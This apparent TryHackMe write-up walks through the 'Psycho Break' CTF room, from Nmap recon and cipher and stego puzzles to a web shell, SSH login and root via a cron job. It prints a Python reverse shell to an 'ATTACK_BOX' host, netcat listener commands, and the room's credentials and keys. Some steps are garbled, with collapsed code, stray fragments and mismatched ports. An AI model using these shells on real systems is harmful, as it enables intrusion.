TryHackMe Write-Up Psycho Break: From Recon to Root

Initial Reconnaissance

The first step was to perform a reconnaissance scan against the target machine. Using Nmap with default scripts and version detection, I identified three open ports:

• 21/tcp — FTP (ProFTPD 1.3.5a)
• 22/tcp — SSH (OpenSSH 7.2p2)
• 80/tcp — HTTP (Apache 2.4.18)

The service versions provided valuable information for planning the subsequent enumeration process.

Service Enumeration

After identifying the exposed services, I began enumerating each one individually to determine whether it could provide an initial foothold.

I first examined the FTP service. Anonymous authentication was disabled, and no publicly available exploit appeared to be applicable to the detected version. Since this avenue did not yield any useful results, I continued with the remaining services.

The SSH service was accessible, but without valid credentials there was no opportunity for further interaction at this stage.

Finally, I turned my attention to the HTTP service, as web applications often expose additional attack surfaces through hidden content, misconfigurations, or source code disclosure.

Web Enumeration

Opening the web application displayed a simple landing page. Instead of interacting with the visible content alone, I inspected the page source (Ctrl + U or View Page Source) to look for hidden comments or developer notes.

During the source code review, I discovered an HTML comment containing a hidden path:

/sadistRoom

This hidden directory was not visible through normal browsing and became the next target for further enumeration.

Exploring the Hidden Directory

After navigating to the hidden directory discovered in the page source:

http://10.112.159.162/sadistRoom/

A new page was displayed containing an image and a short message. Instead of focusing on the image itself, I examined the available content and noticed a hyperlink labeled “Click here to get the key.”

This link appeared to be intentionally placed as part of the challenge progression, making it the next logical target for further investigation.

Retrieving the Locker Room Key

Clicking the “Click here to get the key” link displayed what appeared to be a hexadecimal hash instead of the actual key.

At this stage, the challenge requires identifying the hash type and recovering its original value using appropriate cracking techniques. This can be done with online hash identification tools or offline utilities, depending on your preferred workflow.

Once the hash was successfully cracked, it revealed the Locker Room key, which allowed me to proceed to the next stage of the challenge.

532219a04ab7a02b56faafbec1a4c1ea

use the hash to go to next room

Decoding the Hidden Message

After unlocking the Locker Room, I discovered a note containing an encoded string instead of a readable message.

Tizmg_nv_zxxvhh_gl_gsv_nzk_kovzhv

The text clearly resembled a substitution cipher rather than random data. The next step was to identify the encoding method and decode it using a suitable tool, such as CyberChef or an online cipher identifier.

Once decoded, the message revealed the location of the next room and provided the clue needed to continue the challenge.

Identifying and Decoding the Cipher

The encoded string didn’t resemble a hash. Instead, its structure suggested that it was a classical substitution cipher.

To determine the cipher type, I used an online Cipher Identifier, which identified the text as an Atbash Cipher.

After identifying the encryption method, I decoded the message using CyberChef by applying the Atbash Cipher recipe.

The decoded output was:

Grant_me_access_to_the_map_please

This decoded phrase served as the required key to continue to the next stage of the challenge.

Tools Used

• CyberChef — Used to decode the Atbash cipher.
• dCode Cipher Identifier — Used to identify the cipher before decoding.

Accessing the Map

After decoding the encrypted message, I entered the recovered key into the Map page.

The application accepted the input and unlocked additional sections of the map. Two new locations became available:

• Safe Heaven
• The Abandoned Room

These newly accessible pages indicated that the previous step was completed successfully and revealed the next phase of the challenge. I chose to continue by exploring the Safe Heaven page first, as it was the most logical progression in the storyline.

http://10.112.159.162/safeheaven

Investigating the Safe Heaven Page

After accessing the Safe Heaven page, the content appeared to be nothing more than images and descriptive text. However, in CTF challenges, it’s always worth checking what isn’t immediately visible.

Rather than focusing only on the page content, I inspected the HTML source by selecting View Page Source (Ctrl + U).

During the source code review, I discovered a hidden HTML comment containing an important clue:

<!-- I think I'm having a terrible nightmare. Search through me and find it... -->

This message strongly suggested that the page itself contained hidden information. The phrase “Search through me and find it” indicated that further inspection of the page’s resources — such as images, metadata, or embedded files — would likely reveal the next clue.

Directory Fuzzing

The HTML comment suggested that additional content was hidden within the Safe Heaven directory. Rather than manually guessing URLs, I performed directory enumeration to discover any hidden resources.

Using Gobuster (or any similar directory brute-forcing tool), I scanned the /SafeHeaven/ directory for undisclosed paths.

gobuster dir \
-u http://<TARGET_IP>/SafeHeaven/ \
-w /usr/share/wordlists/dirb/common.txt

dirsearch -u http://10.112.159.162/safeheaven

The scan revealed two interesting directories:

/SafeHeaven/imgs/
/SafeHeaven/keeper/

The **imgs directory appeared to contain the page's image assets, while the `keeper`** directory was not referenced anywhere on the website, making it a high-priority target for further investigation.

Reverse Image Search

Exploring the newly discovered **/keeper/** directory led to a page displaying an image along with a countdown timer. There were no obvious textual clues or hidden hints on the page itself.

http://10.112.159.162/safeheaven/keeper/

At this point, the image became the primary artifact for analysis. Instead of inspecting the page further, I performed a reverse image search to identify the location shown in the photograph.

Using tools such as Google Lens or another reverse image search service, I uploaded the image and searched for matching results.

The search successfully identified the landmark, revealing the information required to continue the challenge and unlock the next stage.

Tools Used

• Google Lens
• Google Images (Reverse Image Search)

Solving the OSINT Challenge

The reverse image search identified the location shown in the image as St. Augustine Lighthouse.

After entering the correct landmark name into the challenge page, the application validated the answer and revealed the next clue — a hexadecimal string that served as the key for the following stage.

48ee41458eb0b43bf82b986cecf3af01

This newly obtained value became the next artifact to analyze before continuing through the challenge.

Accessing the Abandoned Room

After obtaining the key from the previous stage, I returned to the Map page and used it to unlock the final accessible location, Abandoned Room.

 http://10.114.144.223/abandonedRoom/

The page displayed a new scene along with a “Go Further” button, indicating that the challenge was progressing toward the exploitation phase.

As with the previous pages, I didn’t rely solely on the visible content. Instead, I inspected the page source for any hidden clues.

During the source code review, I discovered the following HTML comment:

This hint immediately suggested that a web shell or another shell-related functionality might exist somewhere within the current page. Rather than continuing to browse manually, I shifted my focus to identifying any hidden parameters, upload functionality, or scripts that could provide command execution.

Discovering the Hidden Web Shell

Following the hint from the HTML comment, I continued exploring the Abandoned Room directory and inspected the available resources.

Eventually, I discovered a hidden PHP page that exposed a parameter named **shell**.

The page accepted user input through the URL:

http://10.112.159.162/abandonedRoom/<hidden_directory>/herecomeslara.php?shell=<command>

This strongly indicated the presence of a web shell, allowing system commands to be executed remotely through the shell parameter.

To verify the functionality, I executed a simple command:

?shell=ls

The server returned the contents of the current directory, confirming that remote command execution was possible.

This was the first successful foothold on the target, as it provided the ability to interact directly with the underlying operating system.

http://10.112.159.162/abandonedRoom/680e89809965ec41e64dc7e447f175ab/

go to the lura directory and can find this folders and dowmload it

Downloading and Extracting the Archive

After confirming that the web shell was functional, I continued exploring the accessible files on the server. During the enumeration process, I discovered a ZIP archive named helpme.zip.

I downloaded the archive to my local machine and extracted its contents using the unzip utility.

unzip helpme.zip

The extraction revealed two files:

• helpme.txt
• Table.jpg

The presence of both a text file and an image suggested that each would provide a different clue required for progressing through the challenge.

Analyzing the Extracted Files

I started by examining the contents of helpme.txt.

The note appeared to be written by Joseph, explaining that he had been locked inside a cell by Ruvik. More importantly, the message mentioned that the key could be found on the table, strongly suggesting that the accompanying image should be analyzed next.

This was a classic CTF hint, directing attention from the text file toward another artifact instead of revealing the answer directly.

Performing File Analysis

Based on the clue in helpme.txt, I began analyzing Table.jpg to determine whether it contained any hidden information.

The first step was to inspect the image using Binwalk, a forensic tool commonly used to identify embedded files within binaries and images.

binwalk Table.jpg

The scan revealed that the image contained two embedded files:

• Joseph_Oda.jpg
• key.wav

This indicated that Table.jpg was more than a simple image — it was being used as a container to hide additional artifacts required for the challenge.

Extracting the Embedded Files

After confirming the presence of embedded files, I extracted them for further analysis using Foremost, a forensic recovery tool capable of carving hidden files from images and other binary data.

foremost Table.jpg -o extracted

Once the extraction completed successfully, the output directory contained the hidden files recovered from the image.

These newly extracted artifacts became the next targets for investigation, as they were likely to contain the clues needed to continue progressing through the room.

Analyzing the Extracted Files

After extracting the embedded files from Table.jpg, I obtained two new artifacts:

• Joseph_Oda.jpg
• key.wav

The image itself did not reveal any immediate clues, so I shifted my attention to the audio file.

Decoding the Morse Code

Listening to key.wav, it became clear that the audio contained Morse code rather than ordinary speech.

Instead of decoding it manually, I uploaded the audio file to an online Morse code decoder, which automatically translated the signal into readable text.

this website i use

https://morsecode.world/international/decoder/audio-decoder-adaptive.html 

After processing the audio, the decoder returned the following message:

SHOWME

This decoded value served as the next clue required to continue the challenge.

Extracting Hidden Data from the Image

Although the audio file provided the clue SHOWME, the second extracted artifact, Joseph_Oda.jpg, still required further investigation.

Images in CTF challenges often contain hidden data embedded using steganography. To verify this, I used Steghide to extract any concealed content from the image.

steghide extract -sf Joseph_Oda.jpg

When prompted for the passphrase, I entered the value obtained from the previous step:

SHOWME

The extraction completed successfully and recovered a hidden file named:

thankyou.txt

Recovering FTP Credentials

After opening thankyou.txt, I discovered a set of FTP credentials left by the challenge author.

The note contained:

• Username: joseph
• Password: intotheterror445

These credentials provided valid access to the FTP service that had been identified during the initial reconnaissance phase.

With a valid username and password now available, I authenticated to the FTP server and continued the enumeration from there.

Accessing the FTP Server

Using the credentials recovered from thankyou.txt, I authenticated to the FTP service that had been discovered during the initial reconnaissance.

After browsing the available files, I found a directory containing several interesting artifacts, including a file associated with Kidman. I downloaded all relevant files to my local machine for offline analysis.

Analyzing the Program

Among the downloaded files was an executable program. Before running it, I granted execution permissions:

then login for ftp and find the kidman file

import os
import subprocess
import sys
f = open("random.dic", "r")keys = f.readlines()for key in keys:
key = str(key.replace("\n", ""))
print (key)
subprocess.run(["./program", key])

chmod +x program

Executing the binary without arguments displayed a usage message, indicating that it expected a single input parameter.

Instead of manually testing random values, I analyzed the surrounding files and identified Kidman as a likely candidate.

./program kidman

The program accepted the input and returned a sequence of numeric keypad values instead of a readable message.

Decoding the Output

The numeric sequence resembled the classic mobile phone keypad (T9) encoding rather than ordinary numbers.

After decoding the sequence, the hidden message was revealed:

KIDMANSPASSWORDISSOSTRANGE

This recovered value became the next password required to continue the challenge.

Gaining Initial Access

The decoded message revealed Kidman’s password, allowing me to authenticate to the target machine via SSH.

Using the username kidman and the recovered password, I successfully established an SSH session.

ssh kidman@<TARGET_IP>

After entering the password, I gained access to the target system with a low-privileged user account.

Capturing the User Flag

With shell access established, I began performing basic post-exploitation enumeration. Before moving on to privilege escalation, I verified my current privileges and searched for the user flag.

The flag was located in the user’s home directory.

cat ~/user.txt

Reading the file successfully revealed the user flag, confirming the initial compromise of the target machine.

Privilege Escalation Enumeration

With the user flag captured, the next objective was to escalate privileges and gain root access.

As with any Linux target, I started by performing standard post-exploitation enumeration, inspecting the user’s home directory, hidden files, scheduled tasks, and system configuration for potential privilege escalation vectors.

Discovering the Hidden Message

While enumerating the user’s files, I came across an interesting file named **.readThis.txt**. Its contents appeared unreadable at first, suggesting that the message had been encoded or encrypted.

After decoding the data, the hidden message revealed an important clue:

Search for the string **theoneofrubik**.

This hint pointed toward another artifact on the system that could potentially lead to privilege escalation.

Enumerating Scheduled Tasks

Using the clue from the decoded message, I continued my enumeration by inspecting the system’s scheduled tasks.

Reviewing the system-wide crontab revealed an interesting entry executed by the root user:

cat /etc/crontab

Among the scheduled jobs, one entry immediately stood out:

*/2 * * * * root python3 /var/.the_eye_of_rubik.py

The cron job indicated that a Python script was executed every two minutes with root privileges. Since privileged scheduled tasks are common privilege escalation vectors, this script became the primary target for further investigation.

Exploiting the Scheduled Task

The cron job revealed that the root user was periodically executing the following Python script:

/var/.the_eye_of_rubik.py

After locating the script, I inspected its contents and discovered that it contained a Python reverse shell.

#!/usr/bin/python3
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ATTACK_BOX",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

The script attempted to establish an outbound connection to a configurable IP address and port. By replacing the placeholder with my attack machine’s IP address and setting up a Netcat listener, I was able to receive the incoming connection when the cron job executed.

nc -nlvp 6666

A few moments later, the scheduled task executed automatically and connected back to my listener.

Running the id command confirmed that the shell was running with root privileges.

id

uid=0(root) gid=0(root) groups=0(root)

Capturing the ReadMe.txt

cat /root/readMe.txt

The message concluded the storyline of the room and confirmed that the machine had been successfully compromised from initial reconnaissance all the way to full root access.

Completing the Final Objective

After obtaining root privileges, I read the final note left on the system. The message instructed me to complete one last objective: remove the Ruvik user from the machine.

I verified that I had full administrative privileges and executed the following command:

deluser ruvik

The system successfully removed the user, completing the final task of the challenge.

Capturing the Root Flag

With the final objective completed, I retrieved the root flag from the root user’s directory.

cat /root/root.txt

Successfully reading the flag confirmed that the machine had been fully compromised and that all objectives of the Psycho Break room had been completed.

Thank you for reading! I hope this walkthrough helped you understand not only how to solve the room, but also why each step was taken.